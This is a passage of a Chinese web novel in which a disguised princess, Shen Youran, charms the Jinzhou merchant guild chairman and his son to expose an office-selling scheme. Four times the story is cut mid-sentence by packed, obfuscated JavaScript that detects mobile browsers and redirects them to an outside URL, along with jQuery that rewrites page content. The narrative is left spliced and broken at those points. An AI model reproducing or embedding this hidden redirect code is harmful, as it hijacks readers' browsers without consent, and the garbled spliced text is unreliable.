谁料一连好几日都吃了个闭门羹,于家的下人们说家中没人管事;酒楼里的大掌柜们又对此事矢口否认。 这才只得在酒楼门口哭诉着问问各位,可知于家同哪些人家交好,是否知晓于家人的下落。 沈悠然根本不怕于家酒楼的掌柜出来对峙,反正双方都拿不出证据,嘴上的吵闹只会让看热闹的人越来越多。 事情越大,能得到的消息就越多。 特别是锦州商户众多,开酒楼的又不止于家一家,总能撞上一两个于家的死对头,透一些有用的消息出来。 最了解一个人的,一定是研究他最多的对手。 果不其然,就在沈悠然请来的人在于家酒楼门口闹了一通之后,对面酒楼里出来了个跑堂的小厮,送出来一个消息。 他们说,于家的人背靠锦州商会,惹不起,劝人吃了这个闷亏。 沈煦命令他们不可将此事外传,给了一锭银子将他们打发走了。 “看来,得去探探这个锦州商会了。” 四人凑在一起,想了个主意。 他们一改之前在永州低调的行事,同样是打着宣阳城中富商的名号,请锦州商会的会长和诸位老板赴宴。 原是打算沈煦亲自出马的,但严晟却提出了一种可能。 “能和魏淳牵上线的人,说不定时常往返锦州和宣阳城,万一认出殿下的容貌,怕是不好。” 沈悠然闻言,立马举手,“我去,我去!” 沈煦无奈,目光在严晟和沈悠然之间来回转。 他在思索到底是让妹妹出面比较好,还是交由看起来更为稳重的严晟。 看见沈煦所望的方向,沈悠然皱着眉,用眼神警告。 严晟认命般地摇了摇头,“帝姬更为合适。” “我同殿下时常一同出行,说不准有人也认识我。帝姬久居宫中,甚少在外人面前露面,再加上又是个女子,或许会让一些没什么自大又无脑的人放松警惕,漏点什么线索出来。” 他说的也并不是全无道理。 沈煦依旧有些不放心,“那阿晟,还得让你乔装打扮一番,在暗处帮我照顾好皎皎。” 即便他不这么嘱咐,严晟肯定也是会随时跟在沈悠然身后,不让她单独置于危险之地的。 在永州的那两个夜晚,着实让他有些害怕了。 * 锦州商会会长袁广博听门房说,有一位从宣阳城来的姓沈的富商下了拜帖,邀商会众人往万福楼一聚,说是想做点买卖,请锦州各位老板们帮点小忙。 沈是皇姓,虽然也不是只有皇家才能姓沈,但说不准几辈子往上也出过和皇家沾亲带故的人。 再加上又是从宣阳城里来的,袁广博也不敢太怠慢,欣然应允。 他本是想着先带几个圆滑的商会同僚前去打探打探来路,谁料在万福楼门口,遇见了好些个熟面孔。 锦州商会除了袁广博这个统管上下的会长之外,还有二十二个锦州数一数二的富绅,他数了下,全都到齐了。 这般大的阵仗,让他不免心里打起了鼓,总觉得今日这宴,又叫做鸿门宴。 但更让他惊讶的是,邀所有人前来的,居然是一个黄毛丫头。 那丫头一副未出阁的女子打扮,浑身上下只看得出灵动的气息,丝毫不像是个做生意的人。 她身后还跟这个用银色面具遮住了下半张脸的男人,一袭深色打扮,只双手交叉抱着剑靠在门边,应该是那丫头的护卫。 见陆续落座的众人好奇,沈悠然索性先解释着早就编好的身份。 “诸位不必担心,这是家中所聘的护卫,因家中遭过大火,烧伤了半张脸和喉咙,恐怕吓着大家,平日里只好带着面具出门。” 袁广博点点头,他这种人,就喜欢和不会说话的人打交道。 等人都到落了座,沈悠然又跳出来自我介绍。 “各位老板好啊,我名沈朝,家里是宣阳城一做杂货买卖的。此番呢,是奉家中长辈的命令,前往各地看看有没有什么值得运回去做的买卖。” “我听闻咱们锦州汇聚着整个大盛做买卖的人才,这才不远万里前来向各位取取经,还请各位不吝赐教。” 席间有人没忍住,问起了沈悠然家中商铺的名号。 沈悠然也早就料到过此种情形,报了个远房叔叔的名号。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918330|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那叔叔追溯起来已经和沈悠然是隔了不知道几代血脉的叔叔了,因着喜好经商,是整个皇室里的异类,再加上出身又不高,渐渐地这一支都快被人遗忘曾经也是个皇室中人了。 袁广博一听,松了口气。 商会里不乏想把生意往宣阳城里做的商户,见沈悠然是个女子,只觉得若是能攀上关系也是好拿捏的,倒是对她十分热情。 三杯两盏浓酒浓茶下肚,几人都已经叔伯侄女地叫上了。 这时候沈悠然再恭维地称赞几句这些人将这偌大家业打理得井井有条,实在让她一个后辈万分佩服。 期间又夹杂着几句做生意如何不易,让这几个人觉得自己遇见了知音,大肆吹嘘着自己如何在一片艰险中艰难求生,最后挣得这份家产。 袁广博一面假装醉酒颠三倒四地说着些无关紧要的胡话,一面在暗地里观察着沈悠然到底想做什么。 但没能如他所愿的是,沈悠然竟真的是在问询锦州什么产业最为发达。 毕竟是宣阳城来的,也不会在锦州同人争财路,这几个商户也不使心眼,纷纷推销起了自家的产业,想跟沈悠然搭上关系合作一番。 沈悠然也看起来很是上道,这边一个叔叔,那边又叫着伯伯。 被这么个小姑娘脆生生地叫着,任谁都会觉得心情好。 万福楼里一百两银子一坛的千日酿就像是茶水一样接连着上。 这既展示了她的财力,也更加让那几个商户觉得这个沈家没什么脑子,派这种小姑娘出来,简直就是摆明了让人骗的。 一场宴席下来,好几户人都给沈悠然下了拜帖,邀她过府一叙,顺便还能考察考察当地的产业。 沈悠然忙不迭地应着,还一口一个感激,说着锦州果然没有来错,此番也是遇见贵人了的话。 因为袁广博生性多疑,这一整晚也没对沈悠然表现出过多的热情,临走的时候,沈悠然连一个眼神都没分给他。 看着她此时只顾着让那个戴面具的侍卫将一个喝得走路都快打转的布料商拖到墙边扒着柱子等下人来接,袁广博心里有些不是滋味。 他已经很多年没有受到过这样的忽视了。 “沈姑娘,今日多谢你的宴请了。”他主动上前搭话,“也不知道这顿饭吃下来,沈姑娘想好要做什么买卖了吗?” 让袁广博一口气直接噎在胸口的,是沈悠然略带迷茫的眼神。 “你是……” 袁广博脸上的笑瞬间凝滞,“在下锦州商会会长,袁广博。” 沈悠然敲敲脑袋,一副恍然大悟的模样,“哦,哦,袁老板是你啊,久闻大名。” 看她笑得敷衍,袁广博暗自咬着后槽牙。 “沈姑娘过誉了,不过是诸位商户信任,给袁某一介会长之职罢了。其实说是会长,其实除了一些组织领导的事之外,也并无其他建树,我们锦州的繁茂,靠的还是诸位商户齐心协力。” 听着这般官腔,沈悠然强忍住想要翻白眼的冲动,努力挤出一个崇拜的表情。 袁广博稍稍觉得心里平衡了些,向沈悠然抛出了橄榄枝。 “也不知道沈姑娘明日是否有空,还请沈姑娘,过府一叙。” 59. 第 59 章 袁广博是土生土长的锦州人士,自他曾祖父的父亲那一辈起,就在锦州做瓷器生意,一直是不温不火,在锦州众商户之中只是一个无名小卒。 后来袁广博的祖父在袁记瓷器行逐渐被挤兑得没什么活路的情况下接手了家里的生意。他脑子活络,当即就觉得做生意不能只看着眼前的一亩三分地,更多的还是靠人脉。 他有一个容貌还算不错的女儿,也就是袁广博的姑姑,这父女二人志同道合,一个出力一个出人,顺利嫁进了锦州知州家里当了个小妾。 至此,有了这层关系之后,锦州的商户们都要对袁家礼让三分,再加上袁广博的祖父又会钻营,擅长看眼色行事,渐渐地才给自家打出了名气。 到了袁广博这一辈,更是深刻意识到,只要在官场上有熟人,那就能让商路前途一片光明。 后来锦州知州任期将满,袁广博担心新调任而来的知州油盐不进,再怎么经营也钻不进去,也意识倒巴结每一任的知州并不是一个一劳永逸的办法。 他就将心思放在了别处。 锦州知州一职对于锦州来说是大官,但人外有人山外有山,出了锦州城之外,还有更能说得上话的人。 机缘巧合之下,真让袁广博结识到了贵人。 有了贵人的扶持,新任的锦州知州也要对袁家礼让三分,一时之间袁记瓷器行在锦州风光无两,而袁广博也因此坐上了锦州商会会长的位置。 但好景不长,从宣阳城里传来了魏淳倒台的消息。 虽然说这个结果撼动不了袁广博如今的位置,但他不是个短视的人,他所求的并不只是现在的这一个商会会长之职,他想要的是袁家能够世世代代都在锦州占据一席之地。 他相信老天给他安排的贵人运,不会止步于此。 商户有钱,吏部有权,在认识魏淳之后,得了他有意无意的暗示,袁广博在锦州物色人选从中引荐一番,魏淳敛了财之后,允诺从指缝中漏一些出来。 至于为什么不自己去捞个官职,袁广博想得清楚,那是杀头的大罪,他虽是贪财,但也惜命,若某日这见不得人的勾当曝光了,大可推脱自己是被胁迫的。 人家有权有势,想要拿捏自己这种商户,简直是轻而易举的事。 这挑选合适人选,也不是一个轻松的活。 太蠢的人不能要,万一在任上做出什么蠢事来被查办,一旦事情败露,反而还会惹一身骚。 太穷的人也不能要,卖官是为了敛财,又不是为了做慈善,这种提着脑袋才能做的事,钱少了,谁愿意冒这个险?只得去找那种家中代代经商的人家,才拿得出这么一大笔钱后又不至于一夜破产惹人猜测。 太有主意的人是最不能要的,到时候背地里再刺一刀,就得不偿失了。 以往引荐过的几个人,都是袁广博在锦州精挑细选的,那些人祖祖辈辈都在锦州生活,好拿捏。 是以,直到那位沈老板的马车停在袁宅门口时,袁广博都还有些后悔。 一定是这些年来第一次被人忽视到如此地步,让他脑子不太清醒了。 又或者是魏淳倒了之后他无用武之地了,这才有些心急。 像那位沈老板这中根底如何都不了解的人,实在不是他的目标。 不过好在,他只是想和她有一些生意场上的来往,这是再正常不过了。 一想到这里,袁广博又扬起他惯有的那副笑容,在门口迎接这位宣阳城来的富商。 如果能把自家的瓷器卖到天子脚下,那对自己生意来说,也是一大跨越。 * 赴宴的依旧只有沈悠然和严晟。 沈煦原是有些担心,沈悠然如何能扮演得好一个商户家的小姐,万一对方抛个问题出来一问三不知,岂不是露馅了。 但经过昨日那顿饭,沈悠然深刻体会到这群自大的商户老板们,是如何轻视一个女子。 她劝阻哥哥,直言自己就是需要什么都不懂,才更好去套消息。 而她在席间表现出来的一问三不知,更让袁广博觉得,她是一个好拿捏的蠢货,三两下就被套出了家底。 “袁会长,能得您今日这番教导,实在是阿朝的福气。既然袁会长诚心以待,我也不再藏着掖着瞒您了。” “想必您也看出来了,我家中虽然世代经商,但我在此之前从未经手过家中产业,对此简直是一窍不通。” “我父亲是一家之主,前些年走南闯北地落下了病根,如今只得尽快择人继承家业。但沈家的孙辈连我在内,仅仅只有三个。我自个儿嫡亲的弟弟如今年幼,不过四五岁的年纪,哪怕是占了个嫡子的身份,也无法挑起大梁。” “但我家那个庶弟又是个心狠手辣的,我如何能看得父亲的心血落入姨娘和庶弟之手。我知生意场看不上我一介女子,但我这也实在是、实在是没了法子啊……” 沈悠然言辞恳切,说起家中那些糟心事的时候,捏着袖口擦拭眼角,一副泫然欲泣的模样。 再提及那位姨娘和庶弟的时候,又是端出咬牙切齿的表情。 这是别人家里的阴私,孰是孰非谁也说不准。 袁广博也懂这个道理,既然想要巴结,那必然是要迎合着痛骂几声那不知天高地厚的小妾。 沈悠然在心底冷笑着,她说的明明是那个不存在的弟弟心狠手辣打压正房,到袁广博的耳中,姨娘却成了始作俑者一般。 “我这番出来闯荡,实则是父亲设下的考验,我和庶弟各持三万两银票的本金,待期满之时,谁手中的钱多,谁便可以继承家业。” “但我、但我……唉,做了好几趟的买卖,收效甚微,走投无路之下我才想着锦州这般繁华,兴许有更好的路子呢。” 三万两的本金! 两个人加起来六万两,居然只是用来考验! 袁广博有些坐不住了,他家世世代代经商,到如今他也没有法子能够一下子拿出六万两来不眨眼,看来这个沈家的家底果然是名不虚传。 偏生沈悠然一口一个会长,还说昨日是她初来乍到不懂规矩,回家之后让人打听了袁家,才知道从无名小卒一路做到商会会长是如何大的本事,不停地恭维着袁家。 本就对昨日那般漠视心生怨怼,今日又被不断地吹捧着,这两相比较之下反差立现,让袁广博不禁有些飘飘然了。 “那沈老板可真是找对了人。若是想要做点好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920940|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的买卖,不妨看看我家的瓷器,锦州的瓷器在整个大盛可是数一数二的。” “一来,我们家的大师傅祖祖辈辈都是烧瓷的,技法传承已久,更有惊叹的工艺技术;二来最适合烧瓷所用的高岭土,也只有我们锦州出产,别的地儿根本寻不到。” 沈悠然知道的,她十四叔就尤其喜欢锦州的瓷器,之前还带了不少送给他们呢。 太过轻易得到的东西难免会让人心生疑窦,沈悠然为了不惹来袁广博的猜忌,装出一副犹豫不决的模样。 “可是、可是瓷器不好运输,万一路上有什么磕碰,那不就是亏了吗?” 袁广博露出一脸早就料想到她会有这样一问的神情,叹了口气道,“实不相瞒,这也是我一直以来的顾虑。” “瓷器特殊,若是想要在别处售卖,运输上颇为棘手。但沈老板若是愿意多增加些成本,用柔软的草料包裹着,这并不是难事。” 沈悠然恍悟,当即觉得这是个好买卖。 袁广博顺势邀她明日前往袁家的工坊实地探查一番,沈悠然欣然应允。 合作的事情敲定下来之后,饭桌上就显得更为轻松了。 几番畅谈下来,沈悠然俨然已经将袁广博视作和善的长辈,一口一个袁家阿叔地叫着,哭诉起了她一个女子在外不易,直言若非无人可用,真想找个人来帮衬。 一直在身后站着没有说过话的严晟心中一紧,生起了不好的念头。 昨日他们已然将袁家上下都调查了一番,果真发现他的发家之路有蹊跷。 袁家蒸蒸日上的那几年,正巧也是魏淳这个吏部侍郎位置最稳的那几年。 而在于世秋赴任前夕,袁家和于家的关系也颇为近亲,倒是在于世秋离开之后,兴许是为了避嫌,两家的往来断了很长一段时间,近几年才又恢复。 袁广博肯定是和魏淳有联系的,说不准能从他这里揪出其他买官者的名单。 魏淳在任期间经手的官员任命众多,谁也无法断定哪些人是正经调遣,哪些人又是他的私心,闹得大张旗鼓的反而会引得朝堂震荡。 只能悄悄地查。 原先的计划是让沈悠然接近袁广博,取得信任之后再做下一步计划。 但看沈悠然的做派,严晟隐隐有不好的念头。 听到沈悠然心中遗憾,袁广博抚摸着胡子,开怀大笑起来。 “阿朝的这番担忧,其实好解。” “袁叔我家中人口不丰,膝下唯一子,名唤长远,和阿朝年纪相仿,容貌嘛……” 袁广博顿了顿,他不仅贪财,还好色,娶了个貌美的妻子,生的儿子也继承了妻子的好容貌,锦州城里有不少的富家千金都对他这个儿子青睐有加,这让他觉得特别有面子。 此番听闻沈家家世后,他心中不免动起了别的想法。 若是儿子能助这个沈朝夺得家产,往后这沈家,岂不是成了囊中之物。 一个四五岁的幼子,翻不起什么浪花的。 “袁叔年纪大了,有时候精力不济,怕是明日不好陪你去工坊转转了。” “这样,等今日阿远盘账回来,我同他说道说道,明日让阿远带着你,好好看看。” 60. 第 60 章 “你不该答应和袁长远去工坊。” 回客栈的马车上,严晟终于忍不住开了口。 沈悠然轻哼了一声,“为什么不去?” “袁广博就这么一个儿子,没准家里在做什么营生,他那个儿子也是知晓的,想要套话肯定更容易。” 道理是这么个道理,但严晟依旧抿唇,过了几息才又开口。 “万一袁广博为了保护独子,什么都没说过呢?” “那也简单。”沈悠然靠在马车上闭目养神,“就算袁广博瞒着儿子,但平日里和谁有私下的来往,家里的开销有无古怪,他总该看得出来的吧。” “现在于世秋刚被捕,消息早晚会传到袁广博耳中。就算是因为魏淳倒台事情无从查起,但他肯定会心生警惕,我们什么都问不出来的,不如趁早换个人下手,将精力都放在他儿子身上。” 袁长远确实是一个很好的突破口。 但就是……但就是…… 严晟在心底叹了口气,“明日我陪你去。” 沈悠然抬眸睨了他一眼,没说可以,也没说不可以。 * 袁家的烧瓷坊建在郊外,得坐一个多时辰的马车。 一大早,得了父亲命令的袁长远就守在了客栈门口。 他昨日从浮香楼回到家里,就被父亲叫了过去。 一开始他还以为是包戏子的事被家里发现了,胆战心惊之中却意外听得父亲打算让他去接近一个在外经商的富家小姐。 他当即就有些不悦,女子家中最是在乎名声,做生意这种抛头露面的事,哪个好人家会让自己的姑娘受这个苦? 那个沈老板,要么就是在家中不受待见被打发出来;要么就是长得丑嫁不出去,家里人让她做点生意,也算是有了傍身的本事。 反正无论是那种,袁长远都看不上。 他爹是锦州商会的会长,自个儿又是个好相貌的,锦州城里那些戏子连钱都可以不要,只盼着能和他春宵一刻呢。 何时又需要他卑尊屈膝去讨好一个姑娘? 尽管父亲说了好几遍这个沈老板无论是家世还是容貌,整个锦州城都找不出一个比得过他的,但袁长远依旧觉得这是父亲为了哄他编出来的话。 让他心甘情愿来客栈的,不过是好奇他父亲这谎话到底可以离谱到什么地步,想看看什么样的人能在母亲这个珠玉在前的情况下,还能让父亲觉得是“国色天香”。 直至沈悠然站在面前,低声轻问他是否就是那位袁公子的时候,他还觉得有些不真切。 父亲竟果真没有骗他! “沈……” 袁长远顿了顿,毕竟是在风月场上流连已久,一出口就是哄小姑娘的话。 “沈姑娘?” “抱歉,有些失神了。先前父亲同我说是从宣阳城里来的女老板,我还以为是精明干练的中年女子,没曾想竟是……这般娇俏可爱的小姑娘。倒是袁某失礼了。” 果然和调查来的信息一样,这个袁长远,简直是一副花花公子做派。 沈悠然忍住心中的嫌弃,垂着头似是有些羞怯。 “哪……哪有袁公子说的那般。” “我也不是什么女老板,不过是家中经商,为了考验我,让我出来走走看看,学点本事罢了。” 这副害羞模样,让袁长远更加相信父亲的话——此女甚好拿捏。 “沈姑娘客气了,但是这份敢只身出来闯荡的胆量,就足够让很多人钦佩了。” “工坊离得远,我们还是不要再耽误功夫了,可别误了正事才好。” 看工坊哪里是什么正事,能让这个富家小姐青睐才是袁长远的正事。 但他不会那么蠢,第一次见面,怎么也得给别人留下一个认真负责的好印象才是。 他招呼着让人把马凳拿来,但一旁有个身影比他的动作更快。 一个下半边脸带着银质面具的男人站在沈姑娘的另一侧,伸手让她搭在手腕处,稍一使力,就托着人上了车。 随后,那男人一个翻身,稳稳落在马车上。 动作利落的让袁长远不禁感慨,如果他能有这个身手,往后在那些姑娘们拈酸吃醋大打出手的时候就能轻松跑掉了。 “这位是……”他忍不住开口一问。 “这是我的护卫,同我们一道前往,袁公子应当不介意吧?” “唉,可惜我是个女儿身,走南闯北的多有不易,家中也是担忧我,这才招了个护卫随身保护。” 袁长远暗道可惜,有外人在,也不好靠着肌肤相亲来让沈姑娘对他心生爱慕了。 不过也无妨,他这张嘴也不是白长的。 “这是应该的,沈姑娘孤身在外,是该多张点心眼才好。往后沈姑娘成了家,倒是可以少些顾虑了。” 不知道为何,袁长远说完这句话后,总觉得有一道充满敌意的视线落在了自己的身上。 但四处张望时,又没有察觉到有谁在看着自己。 沈悠然听到这话,又装作害羞模样,没有接他的话。 袁长远也不在意,他其实心里还是喜欢这种性格腼腆的女子,在他看来像楼里那些火辣的姑娘,也就适合玩玩,不适合娶回家。 为了不让沈悠然觉得无趣,袁长远一路上都没闲着,一会儿同她聊锦州的风土人情,一会儿又谈起了琴棋书画,将自己打造成了一个见多识广博学多才的翩翩公子模样。 尽管是带着目的的,但沈悠然仍旧不由地感慨起来,果然常年在女人堆里混的男人就是更讨喜。 她想起那日宴客,席间那些商户老板们喝多了就喜欢议论哪哪若是起了战事当如何如何,又或者是谈起了哪家楼里的姑娘更好看。 虽然心中更多的是不屑,但有时候听到袁长远同她说经商路上碰见的各类趣事时,沈悠然还是发自内心地感兴趣。 眼见着她脸上的笑意愈发真诚,尽职尽责扮演者护卫身份的严晟有些坐不住了。 但偏偏沈悠然对外宣称他是个不会说话的哑巴,他此时都不能出言打断袁长远的侃侃而谈。 藏在面具之下的双唇用力地抿着有些泛了白,严晟深吸一口气,伸手倒了一杯茶,径直递了出去。 他本是想要给沈悠然的,但袁长远说了这一路,着实有些口渴,想也没想地就伸手接了过来。 “谢了。”他敷衍着道了谢,随即将脸转向沈悠然,“沈姑娘家的这个护卫还挺会看眼色的,也不知道是从哪挑的这般懂事的护卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928635|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “唉,我家中就不行了,我那母亲性格和善又不会管事,之前家中买来的几个奴仆都仗着家主好说话有些忘了本分被辞退了。” “我母亲常说,我家里就缺个会管事的女主人呢。” 严晟气得脸色一沉,下意识地捏紧了腰侧的刀。 沈悠然的余光自然是没有错过严晟的动作,她捂着嘴轻笑了两声,然后才接了袁长远的话。 “呀,竟是如此?那真是太可恶了!” “不瞒袁公子,我于奴仆挑选上尚有些心得,不若改日闲了之后,去府上帮忙掌掌眼?” 这可正中袁长远下怀,他巴不得能有机会和沈姑娘多多接触呢。 眼睁睁地看着这两人三言两语之间又约定好了下一次的见面,严晟的脸色更加难看了。 一个半时辰的路途在袁长远的闲谈中很快就过去了。 他自认为这次的交谈很有作用,至少下马车的时候,沈姑娘都愿意将手搭着自己了。 他高兴地带着沈姑娘在瓷器坊中里里外外都看了一眼,像只开屏的孔雀。 惹来几位大师傅的不满——他们是来挣银子的,又不是街边耍杂技的小贩,这烧瓷又不是一眨眼就能做得成的,哪来的什么表演看看。 袁长远面上有些挂不住,但他也知道,工坊里的大师傅得罪不起,嘟囔着也不敢当场发作。 沈悠然这才知道,原来这烧瓷的技术,并不是掌握在袁家手中,而是归几个大师傅管。 沈悠然眼珠子一转,想了个主意。 “袁公子,袁家就不担心,这几个大师傅联合出走给别家卖力吗?” 袁长远摆了摆手,满是不在乎,“沈姑娘大可放心,若是往后咱们两家做成了这笔生意,保管不会让您那边断了货。” “袁家给这几位大师傅开的银钱,可是这个数呢!” 沈悠然看他的动作,心中不免有些诧异——大师傅的工钱这般高,这袁家瓷器的价格,怕是不便宜。 否则,袁广博怎么能靠着卖瓷器就能坐到锦州商会会长的位置呢? 一开始他们是猜测过这个会长之位是沾了魏淳的光,可如今魏淳倒台已久但袁广博毫无影响,兴许真是靠着自己的实力? 沈悠然假装惊讶,捂着嘴凑近了同袁长远低语。 “呀,这般高的工钱,那袁记瓷器怕是只能做贵人生意了吧?一般的人家怕是也买不起。” 因为离得近,袁长远甚至感觉自己的鼻尖萦绕着一阵香气。 和浮香楼里那种甜腻腻的香味不同,沈姑娘身上的香气很淡,带着一种清新的气味,让他觉得脑子里一阵清明的同时,又晕乎乎地不能自已。 若是能软玉在怀,岂不是更香? 这样的浮想联翩让他的脑子更混沌了,也来不及细想,就将自个儿父亲都甚少在外提及的生意,都抖露了出来。 “沈姑娘,你不知道,咱们家的瓷器可多贵人喜欢了,一度成为锦州城聘礼嫁妆单子上的必需品呢。” “不仅如此,就连选宣阳城里的贵人,也甚是喜欢呢!” 宣阳城里的贵人…… 沈悠然听到这种话,脚上不免一顿。 “贵人?哪个贵人?” 61. 第 61 章 袁长远立马意识到自己说错了话。 自从和宣阳城里那位贵人牵上线之后,那边从未露过面,想必是不想让人知道和这边的关系。 但也不知道是贵人真的看上了眼,还是说父亲在背地里和贵人借着买卖瓷器的名义有什么交易,每年倒是会运几批瓷器走。 父亲和人家有什么交易,袁长远也只是略知一二。 每当他想要再多问几句的时候,总是会被父亲以“有些是还是别弄得太清楚才好”为理由打发了。 问得狠了,父亲只说是掉脑袋的生意,让他别问了。 是以其实袁长远并不清楚如今袁家加底如何,只知道父亲酒醉时同他吹嘘过,只要他不是想要天上的星星月亮,在这锦州城内,他想要什么父亲都能替他搞来。 他怕再问会耽误了家中的富贵,索性自个儿将那颗好奇心埋了起来。 “嗐,具体是哪位我们一介卖货的也不好打听,兴许也不是什么大人物,还不如沈姑娘家中在宣阳城里结识的富贵人家多呢。” 沈悠然眼珠子提溜转着,一眼就瞧出他这幅心虚模样是有鬼。 “袁公子谦虚了,沈家也不过一介商贾之家,祖辈的那点情面早就被挥霍完了,如今哪里还攀得上什么贵人呢。倘若你我两家这生意做成了,怕是还得多沾袁家的光,让我们也好认识认识贵人才是。” 她故作一脸的崇拜,袁长远很是受用,在心中暗自想着,等以后成了亲,就像父亲打听打听自家背后靠着的是谁,在她面前涨涨威风。 说话之间,袁长远带着沈悠然走到了工坊的尽头。 “再往后就是对方废弃渣料的地方了,没什么好看的,别再去弄脏了衣裙。” 沈悠然看着旁边一道上了锁的房门,心中暗生警惕,但面上还是一副天真好问的模样,“这间房……” 袁长远走到她面前,不动声色地挡住了她的视线。 “那里摆着从前老式的窑炉,不好控制火势,烧出来的瓷器品质参差不齐,多年前就已经弃用了,如今成了个杂室,堆放一些工具罢了。” 越是刻意掩藏,越是有鬼。 沈悠然和严晟暗地里交换了一个眼神,后者悄悄在心中默念着此处的地形,打算趁夜色前来查验一番。 除了那道上了锁的房间外,工坊里实在是瞧不出其他的蹊跷。 沈悠然对此没了兴趣,随意应付了两句之后,就坦言要回客栈。 这般好的机会,袁长远定然不会错过,口口声声说着工坊建得太远,来来回回耽误了很多功夫,要请沈姑娘吃饭赔罪。 沈悠然犹豫了一会儿,点点头答应了。 酒席是最好套话的地方,况且还能让严晟不悦,再好不过了。 看着沈悠然含羞带怯地点了点头,袁长远心里只觉得沈姑娘已然被他折服,沈家的财产已经是十拿九稳的事了。 况且还能得这么一个相貌出众的娘子,无论怎么说,他都不会亏的。 “我这就让人快马加鞭回去备好,沈妹妹你放心,我定会好好招待你,让你宾至如归!” 谁是你妹妹…… 沈悠然忍住了想要翻白眼的冲动,有些后悔答应了。 但余光一撇到旁边的严晟,她又觉得心中藏着一股气,不能就这么罢休。 想到嫂嫂教过的那些话,沈悠然忍住不适,“我自然是信得过袁家哥哥。” 袁家…… 哥哥…… 这四字一出,在场的其余二人,一个比一个震惊。 袁长远轻易就被这四个字勾得整个人都轻飘飘的。他自己叫妹妹,不过是一种试探,试探沈姑娘是哪种类型的女子。 若是她因此而生气,那往后来往就得装出一副端方君子恭敬有礼的模式,等关系再进一步之后,再说其他的。 如果她是喜欢主动的那种人,袁长远只会觉得更好,可以省下不少的功夫来周旋,毕竟再怎么喜欢,他也不想在一个女人身上花太多功夫。 但听到这身清甜的“哥哥”后,袁长远觉得整个人都舒坦了。 比浮香楼里那些故意捏着嗓子叫出来的不一样,沈姑娘这么一叫,只让人心软。 他听得畅快,另一边的严晟就坐立难安了。 尽管他不停地在心里劝说着自己,沈悠然不过是为了套话,不过是为了探查袁家背后的勾当,不过是为了、不过是为了…… “小姐,不早了……” 他没忘记沈悠然给他虚构的那个“因为大火烧伤了脸和嗓子”的身份,故意压低了声音,像是在用力咬着后槽牙说话,说出来的字词也不太清晰,让人得回想一番,才能明白他说的是什么。 沉默了一早上的人突然开了口,这让心思已经开始有些旖旎的袁长远吓了一跳。 “你会说话!” 严晟没理他,甚至连一个眼神都不想分给他。 他直勾勾地盯着沈悠然,平日里严肃清明的目光里竟带着一丝微不可见的哀求。 尽管知道袁长远是最好的突破口,但严晟依旧在心里不停地说着别去。 他也不知道这话,到底是说给沈悠然听的,还是说给自己听。 沈悠然面无表情地撇了他一眼,反倒是转过去看向袁长远的时候露出一个浅笑。 “原是打算今天下午就给家中去信,禀告在锦州遇见了好的买卖,再让人将我的私产变现多投入些成本的。” “不过也无妨,袁家哥哥盛情相邀,定是对咱们这桩买卖还有自己的见解,我理当侧耳倾听的。” “你就不用去了,回客栈取我的私印去信给家中,早日办成这件事,对沈家、对袁家,都好。” 沈悠然并没有打算让自己和一个别有用心的男人单独相处,她笃定严晟不会答应。 但不妨碍她故意说这种话来惹他生气。 她就是要看看,严晟这副君子模样,能端到什么时候。 “不行!” 严晟被她这么一激,连那种受了烟熏而喑哑的嗓音都忘了装。 幸好他所说的话不多,没让袁长远觉察出异样来。 沈悠然装出一副不太高兴的模样,像是被人坏了好事一般不情不愿地开了口。 “如今我们在外,你也不用时时刻刻都惦记着家中的嘱咐。我和袁家哥哥一见如故,大庭广众之下一起吃个饭,又有什么需要你保护的地方?” “不过本小姐心好,体谅你职责在身,你就在门外候着吧。” 严晟目光闪烁着,似乎还想要再说什么,却被沈悠然打断了。 “行了,就这么决定了,别耽误正事。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932975|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这话严晟当然能听明白是沈悠然打算去套话,但落在袁长远的耳中,就成了另一个意思。 正事?什么算正事? 无论是说两家之间的这个买卖,还是说他浮想翩跹的婚事,都是袁长远想要见到的事。 并且他更倾向于是后者。 如果只是普通的生意,沈姑娘又什么要将身边的护卫支开呢? 